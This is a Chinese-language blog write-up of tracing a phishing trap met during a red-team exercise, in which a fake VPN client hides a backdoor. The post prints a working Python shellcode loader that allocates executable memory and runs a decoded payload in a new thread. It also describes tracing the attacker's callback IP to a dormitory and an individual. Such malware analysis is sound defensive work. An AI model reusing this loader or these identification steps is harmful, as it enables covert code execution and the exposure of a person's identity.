記一次實戰溯源
VSole2022-05-12 08:22:05
0x01 信息收集
GIthub信息泄漏
根據甲方信息進行常規的Github敏感信息收集偶然發現一個倉庫不簡單

這不是mysql賬號密碼泄漏了嗎,愉快的打開Navicat

失敗....于是訪問源碼的8080端口查看一番,發現一個管理后臺

弱口令
針對后臺嘗試一波弱口令,admin/admin 嗯~進來了

進來之后竟然發現賬號密碼而且客戶端解壓密碼都貼心的放了出來

到這里我竟然沒有察覺到任何異常,以為能夠拿到VPN入口權限;抓緊下載VPN客戶端。
解壓出來這個樣子,emmm。。還沒發現異常

0x02 分析溯源
還好有謹慎的習慣,放入虛擬機瞅瞅。
哦豁,竟然提示不兼容當前系統;看到彈窗有Pyhton代碼編寫的特征。感覺到前面的打點由過于絲滑,不自然的警覺了起來。
包括前面弱口令的提交方式竟然為admin.php?user=admin&passwd=admin

由于發現VPN客戶端為python語言編寫,更不對勁了,反編譯看下。
解包
python3 pyinstxtractor.py vpnclient64.exe

生成一個以 exe文件名+_extracted 的文件夾,這個就是解包后的數據


PyInstaller打包后,pyc文件的前8個字節會被抹掉,所以最后要自己添加回去。
添加頭
根據struct.py文件


源碼
得到py文件,easyvpn64.py為后門主程序,其中執行shellcode代碼隱藏至圖片中。

通過requests請求OSS存儲中的圖片,圖片內容為shellcode加載器。

shellcodeLoader部分

import base64
import ctypes
str = b''
sc_base64 = (base64.a85decode(str)).decode('utf-8')
shellcode = bytearray(bytearray.fromhex((base64.b64decode(sc_base64)).decode('utf-8')))
ptr = ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64
ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0), ctypes.c_int(len(shellcode)), ctypes.c_int(0x3000),
ctypes.c_int(0x40))
buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)
ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_uint64(ptr), buf, ctypes.c_int(len(shellcode)))
handle = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0), ctypes.c_int(0), ctypes.c_uint64(ptr), ctypes.c_int(0),
ctypes.c_int(0), ctypes.pointer(ctypes.c_int(0)))
ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(handle), ctypes.c_int(-1))
知道shellcodeloader加載方式就好辦了,提取CS回連地址。

溯源
回連地址:Host: cs.xxx.cn
nslookup解析地址

根據IP地址定位在某宿舍

直接溯源到人,tg結合一波。

0x03 總結
在攻防演練過程中一定要小心,防止被釣魚。另外這個釣魚的兄弟已經小本本記下了。。。
VSole
網絡安全專家